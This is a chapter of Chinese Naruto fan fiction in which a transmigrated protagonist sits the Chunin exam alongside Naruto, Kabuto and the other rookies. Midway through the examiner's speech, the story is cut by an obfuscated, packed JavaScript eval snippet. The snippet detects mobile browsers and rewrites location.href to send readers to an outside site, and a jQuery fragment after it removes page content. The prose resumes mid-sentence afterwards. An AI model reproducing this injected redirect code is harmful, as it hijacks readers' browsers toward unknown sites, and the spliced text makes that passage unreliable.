一个懒洋洋、带着浓浓抱怨意味的声音适时地插了进来,仿佛一盆冷水,试图浇灭即将燃起的战火。留着凤梨头、一脸“麻烦死了”表情的奈良鹿丸,慢悠悠地从井野身后踱了出来,旁边跟着正专心致志嚼着薯片的秋道丁次。他们是井野的队友 鸣人看到他们,刚才被小樱怒火波及的紧张感似乎找到了宣泄口,立刻又恢复了精神,带着点挑衅的语气,习惯性地站回我身边(虽然距离比之前远了些),指着鹿丸和丁次大声道 “这不是‘笨蛋三人组’吗?你们也来啦!” 好吧……嘲讽技能大概是与生俱来的,虽然并无太大恶意,但在这种场合下,实在有点欠揍。 “呀吼!终于找到你们了!” 另一个充满活力的声音响起,带着赤丸的牙像一阵风似的出现在我们面前,标志性的白色小狗赤丸威风凛凛地蹲坐在他乱糟糟的头发上,黑溜溜的眼睛警惕又好奇地打量着四周 “还真是,难得大家伙儿都在这里碰头了呢!” 牙爽朗地笑着,露出一口白牙。 我的目光瞬间被赤丸吸引了。那毛茸茸的小身体,竖起的尖耳朵,湿漉漉的黑鼻头……“卡哇伊……” 我忍不住低声赞叹,感觉心都要被萌化了。这么可爱的小狗,怎么会有人讨厌呢?我几乎想立刻伸手去摸摸它蓬松的毛发。 “你……你……你好……” 一个细若蚊蚋、带着明显颤抖的声音在牙身边响起。日向雏田白皙的脸颊染满了红晕,手指紧张地绞在一起,那双纯净的白眼飞快地瞥了鸣人一眼,又像受惊的小兔子般迅速垂下。她的声音太小了,如果不是我离得近又特别注意,几乎要淹没在周围的嘈杂里。 油女志乃则像一道沉默的影子,安静地站在稍后一点的位置。深色的墨镜遮挡了他的眼睛,高领外套遮住了下半张脸,整个人散发着一种生人勿近的、近乎忧郁的神秘气息。他没有任何言语,只是微微转动身体,视线似乎透过镜片,平静地扫过我们每一个人。虽然不了解他,但那份独特的沉静气质,在我眼中反而有种别样的吸引力,嗯……有点好看。 至此,木叶本届参加中忍考试的十名新人下忍,在这喧嚣的考场中算是正式聚齐了。气氛变得有些微妙,重逢的喜悦、竞争的压力、对未知的忐忑交织在一起。鹿丸依旧在唉声叹气,抱怨着麻烦;牙则用他特有的方式“夸赞”着我们,像在挑衅 “我们可是有好好修炼的” 鸣人果然不服气,立刻跳脚,指着牙大声嚷嚷 “少瞧不起人了!我们才不会输给你们呢!” 雏田听到鸣人的声音,脸更红了,下意识地对着鸣人小声嗫嚅 “对……对不起……” 这没头没脑的道歉让鸣人一脸懵圈,也让牙不解地挑了挑眉。 就在这时,丁次向前迈了一步,应该是想找个地方坐下继续享受他的薯片。然而,他抬起的脚还未落下,一只戴着黑色手套的手就稳稳地拦在了他身前。是志乃。他的声音透过高领传出,低沉而平稳:“脚下。” 丁次低头一看,一只不起眼的黑色小甲虫正慢悠悠地爬过他即将落脚的地板。 虫子!我瞬间头皮一麻,一股凉气从脚底板直窜头顶。志乃的能力……控虫!虽然理智上知道那是他的忍术伙伴,但作为一个对多足节肢类生物有着天然恐惧感的人,那些蠕动的、爬行的、甚至可能飞行的虫子形象瞬间塞满了我的脑海,带来一阵强烈的生理不适。我不由自主地、极其轻微地向后退了一小步,只想离那可能存在的虫群远一点,再远一点。 这个细微的动作却被时刻关注着我的鸣人捕捉到了。他立刻紧张起来,以为我是被刚才剑拔弩张的气氛或者周围虎视眈眈的陌生忍者们吓到了,刚想开口询问 “姐,你……” 然而,另一个更加突兀、冰冷且带着明显不悦的声音,如同冰锥般刺破了我们这个小圈子的喧闹,清晰地响彻在略显嘈杂的考场里: “我说,你们这群小鬼……是不是太吵了点?能不能安静些?” 我们所有人的目光,如同被无形的线牵引着,齐刷刷地转向声音的来源。 说话的是一个倚靠在教室后方墙壁上的青年。浅棕色的短发,戴着普通的黑框眼镜,镜片后的眼神温和中带着一丝不易察觉的疏离。他穿着木叶的绿色马甲,嘴角挂着一抹看似友善的微笑,但那笑容并未到达眼底。药师兜!这个名字瞬间在我脑海中炸响,伴随着冰冷的记忆碎片——他是大蛇丸的人!潜伏在木叶的毒蛇! 他推了推眼镜,语气依旧平和,却带着一种无形的压力 “这里可不是木叶的忍者学校。中忍考试是各国忍者的角斗场,收敛一点比较好。” 他的目光扫过我们这群明显是初次参加的新人,意有所指地继续说道 “太过张扬,有时候会惹上不必要的麻烦。看看你们周围吧。” 顺着他示意的方向,我们这才后知后觉地注意到,就在我们刚才旁若无人地大声喧哗、互相调侃的时候,周围那些来自雨隐、草隐、砂隐甚至音隐的忍者们,早已投来了无数道冰冷、不耐、甚至带着赤裸裸敌意的目光。几个雨忍打扮的人尤其明显,他们的眼神像淬了毒的刀子,毫不掩饰对我们的厌恶,手甚至按在了腰间的忍具包上。一股寒气瞬间爬上了我的脊背。刚才只顾着“老乡见老乡”,完全忽略了环境,犯了大忌! 兜的“好意”提醒像一盆冷水,瞬间浇熄了我们初来乍到的兴奋和重逢的喜悦,也让鹿丸、牙他们脸上的轻松彻底消失,取而代之的是凝重。小樱拍了拍胸口,心有余悸地开口问道 “那个……前辈,您是第几次参加中忍考试了?看起来很有经验的样子。” 兜温和地笑了笑,仿佛刚才的紧张气氛从未存在:“第七次了。” “七次?!” 这个数字像投入水中的巨石,在我们这群新人中激起了巨大的涟漪。鸣人第一个忍不住,嘴巴张得能塞进一个鸡蛋。鹿丸也皱紧了眉头,低声嘟囔 “七次都没通过?这考试到底有多麻烦……” 连一向冷静的佐助,眼中也掠过一丝惊诧。在大家的认知里,中忍考试虽然难,但连续失败七次,简直难以想象。 我紧紧地盯着兜,试图从他温和无害的表象下,捕捉到属于大蛇丸爪牙的阴冷气息。就在这时,鸣人突然把毛茸茸的脑袋凑到我耳边,温热的气息喷在我的耳廓上,他用自以为很轻、实际上旁边人都能听到的“悄悄话”说 “姐,这个叫药师兜的家伙……是不是实力很菜啊?考了七次都过不了?” 我的嘴角微微抽搐了一下,强忍住翻白眼的冲动,同样压低声音回应 “笨蛋……小声点!可能……只是不想那么快晋升吧。” 我总不能直接告诉他,这家伙是间谍,是故意留级收集情报的吧? 不过,当兜开始展示他那神奇的“忍识卡”,并如数家珍般介绍起各国参加考试的人数、历届考试的淘汰率、甚至分析起各国忍者实力对比时,那份渊博的知识和从容的气度,确实让人很难把他和“菜鸟”联系在一起。连鹿丸都暂时收起了“麻烦”的抱怨,专注地听着。 “简单来说,” 兜将一张空白的卡片放在地上,指尖萦绕起淡淡的查克拉光芒 “就是将需要记录的信息,通过特殊的查克拉印记‘烧录’到特制的卡片上。” 随着他查克拉的注入,空白的卡片表面如同水波般荡漾,瞬间浮现出密密麻麻的文字和图表,清晰展示了本次考试的规模——木叶、砂隐、雨隐、草隐、泷隐,以及那个神秘的新建忍村——音隐。 “哇!好厉害!” 小樱像个好奇宝宝,蹲在卡片前,眼睛闪闪发亮 “那,参加的总人数是多少?其他村子大概有多少人呀?” 兜耐心地一一解答,态度温和得像个真正的学长。然而,他话锋一转,抛出了一个看似简单却暗藏玄机的问题 “那么,你们认为,为什么中忍考试需要各国忍者村联合举办,而不是各自为政呢?” 我们十个人陷入了短暂的沉默。鹿丸摸着下巴似乎在思考,牙一脸“这还用想”的表情,鸣人则完全是一头雾水。佐助眉头微锁,小樱和井野面面相觑了一下。而我……(其实只是原著剧情细节记不清了)也选择了沉默,静观其变。 兜的目光在我们脸上扫过,像是看透了我们的茫然,他推了推眼镜,镜片反射出一道睿智(?)的光芒,开始了他的“科普” “首先,官方的说法,是为了促进各国忍者之间的‘友谊’与‘理解’,共同提高忍者的整体水平。” 他的语气带着一丝不易察觉的微妙停顿,随即话锋一转 “不过,真正的目的嘛……” 他故意拖长了调子,成功地吸引了所有人的注意力,尤其是佐助的。 “是为了更直观地‘观察’。” 兜的声音压低了些,带着一种揭示秘密的意味 “观察他国新一代忍者的实力、潜力、战斗方式。收集情报,评估威胁,从而在未来的博弈中,尽可能地维持力量的‘平衡’,达到一种微妙的‘势均力敌’状态。” “势均力敌……?” 鸣人重复着这个词,一脸困惑。他下意识地学着我思考时的样子,歪了歪脑袋。而我也正好因为思考这个复杂的地缘政治问题而歪着头。我们两人动作神同步,惹得旁边的牙噗嗤一声笑了出来。 该说不愧是朝夕相处的姐弟吗?连一些无意识的小习惯都被对方潜移默化地学去了。我睁大眼睛,一眨不眨地盯着兜镜片后的眼睛,试图分辨他话语中的真假,耳边还萦绕着鹿丸那标志性的“真是麻烦死了”的抱怨。 随着兜注入卡片的查克拉消散,卡片上的信息也如同烟雾般散去。他最后总结道,语气带着一丝冷酷的现实 “不这样做,力量弱小的国家,就会被强国视为肥肉,随时可能被攻打、吞并,甚至……彻底消失。” “落后就要挨打……” 这句穿越前的记忆深处的箴言,不受控制地浮现在我的脑海。在这个残酷的忍者世界,这条铁律同样适用,甚至更为血腥直接。丛林法则,赤裸裸地展现在我们这群初出茅庐的下忍面前。 一直沉默倾听的佐助,此刻眼中燃起了强烈的渴望。他似乎终于按捺不住,不再满足于这些宏观的情报,向前一步,声音带着少年人特有的清冷和急切 “你的忍识卡……能查到具体的个人情报吗?” 他的目光锐利如鹰隼,紧紧锁定着兜。 兜的嘴角几不可察地向上勾起一个微小的弧度,快得让人以为是错觉。那是一种……猎物终于主动踏入陷阱边缘的、带着掌控感的微笑 “当然可以。” 他回答得十分爽快,重新在那堆卡片中翻找起来,动作从容不迫 “虽然都是些基础信息,但只要是我有的,都可以分享。毕竟,帮助后辈也是前辈的职责嘛。” 他的话语滴水不漏,完美地扮演着热心学长的角色。 “砂隐的我爱罗,木叶的洛克李” 几乎是下一秒,两张卡片就被他精准地抽了出来。佐助迫不及待地凑近。 第一张卡片上浮现出洛克李的影像和信息:年龄比我们大一岁,任务记录显示其在体术上有着惊人的天赋和努力,进步神速,但忍术和幻术方面则被标注为“显著短板”。队友是日向宁次和天天。 当第二张卡片——我爱罗的信息浮现时,兜的脸上露出了恰到好处的“惊讶” “哦?砂隐的下忍……执行过B级任务?” 他推了推眼镜,语气带着一丝凝重 “作为新人,这可不简单。更值得注意的是……” 他的手指点在卡片上的一行小字 “所有任务记录显示,他都是‘毫发无伤’地完成。” 这句话像一块冰投入了佐助的心湖,激起了强烈的涟漪。毫发无伤?这意味着什么?绝对的防御?还是……碾压性的实力? 接着,兜又展示了另一张卡片,上面标注着本次参加中忍考试的忍村:木叶、砂隐、雨隐、草隐、泷隐,以及那个资料栏几乎一片空白、只标注着“新建忍村”的音隐。兜收起卡片,环视着我们,语气带着一种前辈的“语重心长” “所以,能站在这里的,无一不是各国下忍中的精英。这场考试,远比你们想象的要残酷。” 雏田闻言,头垂得更低了,手指紧张地绞在一起。小樱的脸色也微微发白,眼神中掠过一丝退缩。井野倒是显得比较务实,叹了口气:“现在说这些也晚了。” 就在这时,一股莫名的冲动涌上心头。看着同伴们被兜的话影响得士气有些低落,尤其是小樱和雏田眼中的不安,我几乎是下意识地开口了。脑海中浮现的是鸣人那永远充满干劲、盲目自信却能感染所有人的笑脸。如果是他,此刻一定会说出鼓舞人心的话吧? “嘛……” 我的声音在略显压抑的氛围中响起,带着一种我自己都未曾察觉的坚定 “换个角度想,我们能被自己的上忍老师推荐,能通过审核站在这里,本身不就证明了一件事吗?” 我顿了顿,目光扫过小樱、雏田、鸣人、佐助,还有鹿丸他们 “我们,木叶的十个人,也同样是被认可的‘下忍精英’啊!所以,” 我微微提高音量,试图传递出力量 “要相信自己!我们都很强!” 小樱惊讶地看向我,似乎没想到我会说出这样的话。但仔细咀嚼了一下,她眼中的不安似乎被点亮了一小簇火苗。是啊,能站在这里,本身就是一种实力的证明! “没错!” 鸣人果然第一个被点燃了!他像是被注入了强心剂,瞬间满血复活,猛地跳到旁边的桌子上(完全无视了考场纪律),一手叉腰,一手指着天花板,用尽全身力气吼出了那句标志性的宣言 “我漩涡鸣人!我绝不会输给你们的!你们都给我记住了!” 声音洪亮,气势十足,瞬间引爆了整个考场的寂静! 如果说我刚才的话是给自己和同伴打气的“强心针”,那么鸣人这一嗓子,简直就是向全场各国忍者宣战的“冲锋号”!效果立竿见影—— “鸣人!你这笨蛋在干什么啊!” 井野气急败坏地对着小樱吼道。 小樱则尴尬得恨不得找个地缝钻进去,但被井野这么一吼,她自己也觉得脸上挂不住,火气“噌”地就上来了:“井野猪!你吼我干什么!又不是我让他喊的!” “宽额头!你管好你们小队里那个白痴吊车尾行不行!” “你说谁是宽额头!死井野猪!” “想打架吗宽额头!” “来啊!怕你啊!” 两个女孩瞬间从统一战线变成了针锋相对,刚刚建立的“精英”自信瞬间被醋意和怒火淹没,眼看就要上演全武行。 “真是!大家都在看着我们!你这家伙!就算是旁听生同学拦着我,我这次也绝对不会手软了!” 小樱气得满脸通红,撸起袖子,粉拳紧握,一副要冲上去和鸣人拼命的架势。 “姐!救命啊!” 鸣人一看小樱真的发飙了,而且似乎连我这个“姐姐”的面子都不打算给,立刻从桌子上跳下来,躲到我身后,抓着我的胳膊哀嚎。 看着眼前这鸡飞狗跳的一幕,再看看周围那些看猴戏似的、充满嘲讽和鄙夷的目光,我只觉得太阳穴突突直跳。我无奈地扶额,目光飘向牙头顶那只正歪着脑袋、一脸无辜看着这场闹剧的赤丸,试图转移这令人窒息的尴尬 “啊……那个,牙,你家赤丸真可爱,我能……摸摸它吗?” 声音里充满了无力感。 “姐——!” 鸣人拖着长音的哀嚎再次响起,充满了被“抛弃”的委屈。 就在这千钧一发、场面即将彻底失控之际! “咻咻咻——!” 数道凌厉的破空之声撕裂了空气!不是冲向我们,而是直袭向站在一旁,脸上带着一丝看戏般微笑的药师兜!几枚闪烁着寒光的手里剑,角度刁钻地射向他的下盘要害! 兜的反应快得惊人!他身体以一个不可思议的柔韧度向后仰倒,如同折断的柳条,险之又险地避开了袭来的利器。然而,攻击并未停止!一道身影如同鬼魅般从人群缝隙中窜出,速度快得只在视网膜上留下一道残影,砂锅大的拳头带着呼啸的风声,狠狠地砸向兜的面门! “砰!” 一声闷响!兜再次展现了他惊人的敏捷,头部猛地一侧,拳头擦着他的脸颊掠过,带起的劲风甚至掀起了他的发丝。然而,就在所有人都以为他成功躲过这一击时—— “咔嚓!” 一声清脆的碎裂声响起!兜鼻梁上那副普通的黑框眼镜,镜片中央赫然出现了一道蛛网般的裂痕,随即彻底碎裂开来! 兜的动作顿住了。他缓缓直起身,脸上那温和的笑容消失了,取而代之的是一种令人心悸的平静。他抬手,慢条斯理地摘下那副碎裂的眼镜,露出了一双没有任何遮挡的眼睛。那双眼睛,此刻锐利如刀,冰冷如霜,仿佛能穿透一切伪装,直刺人心深处。嘴角,却勾起了一抹似笑非笑的弧度。 “什么?!” 佐助瞳孔骤缩,失声低呼。他看得分明,兜明明躲开了所有物理攻击!为什么眼镜会碎?! 变故就在下一秒发生! “呃啊——!” 兜的身体猛地一颤,如同被无形的重锤击中!他双膝一软,重重地跪倒在地!喉头剧烈地滚动,一大口猩红的鲜血猛地从他口中喷溅出来,染红了身前的地板!刚才还游刃有余的“前辈”,瞬间变得狼狈不堪,脸色惨白如纸。 “兜前辈!” 鸣人和小樱惊呼一声,下意识地冲上前想要搀扶。 “哼!不过如此!” 袭击者——三个戴着音隐护额、打扮怪异的忍者显出身形,为首一个脸上缠着绷带的家伙,发出刺耳的怪笑,充满了轻蔑和嘲弄 “这就是轻视我们音隐村的下场!记住了,新人,在考试里,管好自己的嘴和好奇心!” 这既是警告兜,更是赤裸裸地威慑我们这些新人。 整个考场一片死寂,只剩下兜压抑的咳嗽声和音忍嚣张的怪笑。恐惧如同冰冷的潮水,瞬间淹没了所有人。 “给我——安!静!点!你们这群不知死活的废物——!!!” 一个如同地狱岩浆翻滚、饱含着无尽暴怒与恐怖威压的咆哮声,如同炸雷般在考场中央响起!伴随着“嘭!”的一声巨响和弥漫的白色烟雾,一道魁梧如山、散发着浓烈血腥气和杀意的身影凭空出现! 烟雾迅速散去,露出了来人的真容。黑色的风衣,脸上布满了纵横交错的狰狞伤疤,尤其是下巴处那道巨大的缝合痕迹,更是触目惊心。他眼神如同最凶猛的嗜血野兽,冰冷地扫视全场,最终定格在那三个音忍身上。整个考场的空气仿佛都被他散发出的恐怖气势冻结了,连呼吸都变得困难。 “久等了,杂碎们。” 他的声音低沉沙哑,每一个字都像砂纸在摩擦 “我是中忍选拔考试第一场的主考官——森乃伊比喜!” 报出名字的瞬间,那股实质般的压迫感再次飙升! 他伸出带着黑色皮手套的手指,如同死神的镰刀,直指那三个音忍 “未经许可的私斗?还差点闹出人命?你们三个,是不是活腻歪了?” 他的声音不高,却带着冻结灵魂的寒意 “想被立刻取消资格,滚出去吗?嗯?!” “抱歉,我第一次参加,有点兴奋” 伊比喜从鼻子里发出一声冷哼,如同重锤砸在所有人心上。 “也是个好机会……” 他冰冷的目光如同实质的刀锋,缓缓扫过全场每一个噤若寒蝉的考生 “我先把规矩说清楚!第一条!在考试结束前,没有我的允许,任何人不得私下对战!违者——立刻淘汰!” 他顿了顿,加重了语气 “第二条!即使得到我的许可进行对战,也绝对不允许下杀手!敢违逆这条铁律的蠢猪……” 他的声音陡然拔高,如同惊雷炸响 “老子亲手让你滚出考场!” “是!!” 巨大的恐惧驱使下,全场考生爆发出整齐划一、带着颤音的回应。刚才还熙熙攘攘、充满各种情绪的考场,瞬间变得如同坟场般死寂。有人偷偷擦着冷汗,有人脸色惨白,有人暗自庆幸……但在伊比喜那如同魔神般的威压下,所有的声音都被彻底镇压。 森乃伊比喜似乎很满意这效果,他大手一挥 “现在,所有人,按顺序提交你们的申请书,领取座位号!考试——马上开始!” 队伍开始缓慢地向前移动。轮到我们时,我交上那张写着自己“旁听生”身份的特别申请书。负责登记的忍者看了我一眼,眼神里带着一丝不易察觉的探究,但还是将一个号码牌递给了我。 鸣人跟在我身后,当听到“领取笔试试卷”的指令时,他整个人如同被雷劈中,瞬间僵直了。他机械地接过号码牌,眼睛直勾勾地盯着前方,嘴里开始无意识地嗫嚅 “笔……笔试……试卷……” 下一秒,他像是被踩了尾巴的猫,猛地跳了起来,发出撕心裂肺的哀嚎: “笔——试——吗——?!!” 那声音充满了绝望,在整个肃杀的考场里显得格外刺耳,瞬间又吸引了不少看白痴般的目光。他整个人都蔫了,肩膀垮塌下去,拖着沉重的脚步,像一具被抽走了灵魂的行尸走肉,嘴里不停地碎碎念 “完了完了完了……笔试……我啥也不会啊……死定了死定了……” “姐……” 他拿着号码牌,哭丧着脸,用一种近乎绝望的眼神看向我,声音带着哭腔 “我……我该不会第一场考试……就要被淘汰了吧?连累大家……” 那份沮丧和自我怀疑几乎要将他淹没。 我看着他失魂落魄的样子,想安慰却隔着人群。只能目送他垂头丧气地走向自己的座位,那背影写满了“悲壮”。好在,鸣人毕竟是鸣人,就在他坐到位置上,双手抓挠着他那头耀眼的金发,几乎要把头皮挠破时,不知想到了什么(或许是成为火影的梦想?或许是不想连累同伴?),他猛地深吸一口气,用力拍了拍自己的脸颊,眼神里重新燃起了一丝不服输的火焰。虽然依旧愁眉苦脸,但那股自暴自弃的颓废感消散了不少。这家伙的自我安慰能力,总是强得惊人。 我找到自己的位置坐下,刚松了口气,旁边座位就有人落座。温和的声音响起 “又见面了,可爱的后辈。” 是兜。他不知何时已经处理好了伤势(或者说,伪装好了伤势?),碎裂的眼镜换了一副新的,脸上又挂起了那副无懈可击的温和笑容,仿佛刚才吐血倒地的人不是他。他自然地在我旁边的座位坐下。 “又见面了,兜学长。” 我努力让自己的声音听起来平静自然,带着一点后辈应有的礼貌和关切 “您……还好吗?” 我刻意控制着自己的表情和眼神,不敢流露出过多的同情(显得虚伪),也不敢太冷淡(显得可疑),维持着从始至终那种淡淡的、略带疏离但又不失礼的状态。毕竟,我“知道”他的底细,任何过度的反应都可能引起这条毒蛇的警觉。 “还好。” 兜推了推新眼镜,镜片后的目光似乎不经意地扫过我的脸 “考官用查克拉帮我简单治疗了一下,没什么大碍。” 他话锋一转,语气带着一丝恰到好处的疑惑和好奇 “不过话说回来……我之前在木叶,好像从未见过你?像你这样气质特别的‘旁听生’,应该很容易被记住才对。” 他的问题看似随意,却像一根探针,试图刺探我的底细。 心脏微微漏跳了一拍。身份问题永远是悬在我头顶的达摩克利斯之剑。我扯出一个略显尴尬的笑容,用上了那个最荒诞却也最接近“真相”的解释 “啊……这个嘛……” 我指了指天花板,半真半假地说 “其实……我是从天上‘掉’下来的啦。” (天知道我当初是怎么出现的,除了胸口的剧痛和半边身子的麻木,关于穿越,我脑中一片空白。) “哈哈,” 兜愣了一下,随即发出温和的笑声,眼神却深不见底 “后辈还真是幽默。” 我没再继续这个话题,因为就在这时,那个如同来自地狱深渊的低沉嗓音再次响彻考场,带着金属摩擦般的冰冷质感,将所有人的心神瞬间攥紧: “肃静!” 森乃伊比喜站在讲台上,身影如同矗立在尸山血海上的铁碑,散发着令人窒息的压迫感 “现在宣布考试规则!第一条:考试开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16575539|187090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后,每人基础分数为十分!试卷共十题,每题一分,采取倒扣制!答错扣分,不答不扣分!” 他刻意停顿,那布满疤痕的脸庞上,锐利如鹰隼的目光如同探照灯,缓缓扫过台下每一张或惨白、或紧张、或强装镇定的年轻面孔,仿佛要将他们灵魂深处的恐惧都挖掘出来。 “第二条:最终是否合格,依据同组三人的总分评判!三人总分必须达到及格线!” 这条规则像一道冰冷的枷锁,瞬间将小队成员捆绑在了一起,一荣俱荣,一损俱损。 “第三条!” 他的声音陡然拔高,如同重锤狠狠砸在所有人心上 “也是最重要的一条!在考试过程中,若有作弊行为——以及被考官认定为作弊的行为——一经发现,每次扣两分!并且……” 他再次停顿,嘴角勾起一抹残忍的弧度 “考试结束时,个人分数为零分或零分以下者……连同他所在小队的另外两名成员——立即淘汰!听清楚了吗?!” “听……听清楚了!” 稀稀拉拉、带着颤抖的回答响起。 “大声点!没吃饭吗?!” 伊比喜的咆哮如同惊雷。 “听清楚了!!!” 巨大的恐惧驱使下,回应声震耳欲聋。 最后那句“连同队友立即淘汰”,如同来自地狱的宣判,带着毁灭性的力量狠狠砸下!空气彻底凝固了,沉重的压力让人几乎无法呼吸。我能清晰地感觉到,鸣人座位方向传来的恐慌气息骤然飙升,像一只被逼到悬崖边缘、瑟瑟发抖的幼兽。 雪白的试卷带着冰凉的触感和淡淡的油墨气味,被分发到每个人手中。落在我桌面的瞬间,却重若千钧。我垂眸,目光快速扫过那些题目:艰深的忍术原理推导、复杂的战略地形分析、晦涩的忍界历史事件辨析……果然,如同预料中一样,是远远超出下忍知识储备极限的难题。指尖无意识地划过纸张边缘,传来粗糙的触感,然而我的内心却一片奇异的澄澈——我“知道”答案,更“知道”这场考试真正的核心,从来就不是纸上的题目。这是一场针对情报搜集能力、心理承受能力和团队协作的残酷试炼。 然而,伪装是必要的。我不能表现得像个未卜先知的怪物。我深吸一口气,拿起笔,坐姿端正,目光专注地落在第一题上。笔尖轻轻点在纸面,然后开始缓慢地、一丝不苟地移动,每一个笔画都力求工整清晰,仿佛真的在绞尽脑汁地拆解着那些天书般的题目。我的眉头微微蹙起,时而停顿,时而轻轻摇头,将一个陷入困境、努力思考的普通考生形象演绎得淋漓尽致。但只有我自己知道,那笔尖流淌出的,不过是逻辑看似通顺、实则完全偏离标准答案的、毫无意义的推导过程。我在编织一个完美的“解题”假象。 眼角的余光如同最精密的雷达,敏锐地捕捉到旁边投来的一道若有若无的视线。是兜。他低着头,似乎也在认真审题,笔尖偶尔在纸上划动。但他那微微侧头的角度,镜片后偶尔掠过的、带着一丝不易察觉的探究意味的目光,却像冰冷的蛇信,悄无声息地扫过我的方向,带着审视和评估。 他在观察。带着大蛇丸赋予的任务,审视着考场里每一个值得注意的目标,包括我这个来历成谜、能力也未知的“旁听生”。我克制着回视的冲动,甚至控制着心跳的频率,只是将头埋得更低了些,笔下的“演算”更加“认真”,努力扮演着一个资质平平、正被难题折磨得焦头烂额的普通下忍。心中默念: 看吧,我只是个努力挣扎的普通考生。 偌大的考场陷入了死一般的寂静。只有笔尖划过纸张发出的单调沙沙声,此起彼伏,交织成一片令人心慌的背景音。间或夹杂着因极度紧张而变得粗重压抑的喘息,以及纸张被无意识揉捏的窸窣声。空气仿佛凝固的铅块,沉重地压在每个人的胸口。 突然,一阵极其轻微、却带着某种独特韵律的书写声打破了这份压抑的单调。我抬起眼皮望去。是佐助。他之前似乎陷入了僵局,握着笔的手指关节因为过度用力而泛白,身体绷紧得像一张拉满的弓。书写得行云流水,笔尖在纸面上飞快地移动,发出沉稳而笃定的“唰唰”声,流畅得没有一丝停顿。显然,依靠血继限界写轮眼的力量,他已经找到了“获取”答案的完美途径。 视线穿过人群的缝隙,投向稍远处的鸣人。他整个人如同被架在熊熊燃烧的炭火上炙烤。汗水大颗大颗地从他额角滚落,浸湿了橙色的护额带,紧紧贴在他的皮肤上。他焦躁地啃咬着铅笔的尾部,坚硬的木头被他咬出了深深的、带着唾液的齿痕。眼神像无头苍蝇般在如同天书般的试卷和光秃秃的天花板之间绝望地来回游移,充满了茫然和无助。有好几次,我能清晰地感觉到他强烈的、近乎本能地想要回头,向我投来求救目光的冲动。然而,森乃伊比喜那如同秃鹫般在考场上方来回逡巡的、冰冷锐利的视线,以及之前那“作弊一次扣两分”、“连累队友淘汰”的恐怖警告,像两道无形的、带着倒刺的铁链,将他牢牢地钉死在座位上,动弹不得。他只能死死地盯着试卷,喉咙里发出压抑到极致的、如同困兽般的呜咽。 反观小樱,她正沉浸在自己的世界里。粉色的发丝有几缕垂落在白皙的颊边,她却浑然不觉。她的侧脸线条专注而自信,微微抿着唇,笔下行云流水,几乎没有任何停顿。笔尖与纸张摩擦的“沙沙”声规律而悦耳,透着一股成竹在胸的从容。我心中泛起一丝欣慰的暖意。之前那句看似随意的鼓励——“知识是你最好的秘密武器”——看来真的在她心里扎下了根,给了她莫大的鼓舞和底气。此刻,她正用扎实的学识和冷静的头脑,无声地证明着自己的价值,那份专注和自信让她整个人都在发光。 时间在无声的煎熬中缓慢爬行。墙上的挂钟秒针每一次跳动都像敲打在紧绷的神经上。试卷上那些扭曲的字符和复杂的图表,在我眼中逐渐幻化成一堵冰冷坚硬、无法逾越的高墙。伪装解题的笔触开始变得艰涩,我知道,是时候动用一点“非常规”手段了,否则我的“努力”就显得太假了。 我悄悄地将心神沉入体内。胸前口袋的位置,传来一阵熟悉的、温和的暖意,如同冬日里贴近心口的一块暖玉。那是我的塔罗牌所在。无需伸手去触碰,意念微动,意识便瞬间与牌组深处某张散发着柔和而睿智光芒的卡牌建立了连接——【教皇】。象征着精神指引、内在智慧与群体意识链接的牌灵。 嗡…… 一股难以言喻的、如同深海潮汐般磅礴而隐秘的感知力,以我为中心悄然扩散开来。它并非查克拉的波动,没有引起任何能量涟漪,更像是一种纯粹的精神共鸣,无声无息地拂过考场中每一个正在“努力”的灵魂。 刹那间,无数纷繁复杂的思绪碎片、记忆片段、潜意识的答案推演过程,甚至是一些模糊的情绪波动,如同夜空中散落的星屑,被无形的引力吸引,疯狂地涌入我的意识海洋。 有某个砂隐下忍对复杂地理题目的笃定认知;有某个草隐忍者对陷阱机关分析的深刻肌肉记忆;有雨隐考生绞尽脑汁后得出的错误推论;更有甚者,是一些通过写轮眼、白眼、心转身之术等秘术窥探到的、属于他人的清晰正确答案……庞杂的信息流如同决堤的洪水,汹涌澎湃。 我的精神意志,在【教皇】牌灵温和而强大的力量加持下,瞬间化身为一位经验无比丰富的渔夫。在这片由数百个思维汇聚成的、汹涌澎湃的信息洪流中,精准地抛撒出无形的精神之网。我需要捕捞的,是那些关于眼前十道试题的、最清晰、最笃定、被多次验证或“窃取”的核心记忆片段。 来自砂隐对我爱罗故乡地理的深刻理解;来自某个泷隐下忍对查克拉性质变化相克原理的精辟论述;来自一位通过秘术窥得邻座答案的草忍的确定选项……这些闪烁着智慧(或投机)光芒的碎片,被【教皇】的力量精准地捕获、筛选、剥离杂质,最终在我的精神世界里被提炼、重组,化为清晰的解题思路和确定的答案选项,如同烙印般镌刻在我的认知之中。 我依旧维持着低头“苦思冥想”的姿态,眉头紧锁,仿佛正在与难题进行着殊死搏斗。然而,桌下紧握的左手微微松开,指尖不再因为“焦虑”而颤抖。笔尖落在纸面上,不再是无意义的涂鸦或错误的推导。它开始流畅地、笃定地书写起来,将那些“窃取”来的知识精华,巧妙地编织进自己构建的逻辑框架里,用符合我个人“风格”的语言表述出来。一份看起来完全由我独立完成、逻辑自洽、言之有物的“优秀”答卷正在笔下诞生。每一次落笔,每一次翻页,我都能清晰地感觉到,旁边那道来自兜的、带着审视和玩味的目光,似乎又加深了一分探究。但我稳坐如山,心神沉浸在【教皇】牌构筑的精神链接中,只在意识深处低语: 看吧,我只是个运气不错、突然开窍的普通考生。 沙漏中的细沙无情地流泻,象征着时间的沙粒所剩无几。考场内的紧张气氛已经浓稠得如同凝固的血液,几乎能听到神经绷断的脆响。绝望的低泣、压抑的喘息、笔尖折断的脆响……各种声音交织成一曲绝望的交响乐。终于,当最后一粒沙悄然滑落—— “时间到!” 森乃伊比喜那如同花岗岩般坚硬的身影再次矗立在讲台上,低沉的声音带着不容置疑的审判意味,瞬间压下了所有杂音 “停止答题!接下来,公布第十题!” 他抛出的“最终抉择”——一条通往绝望深渊的单行道: 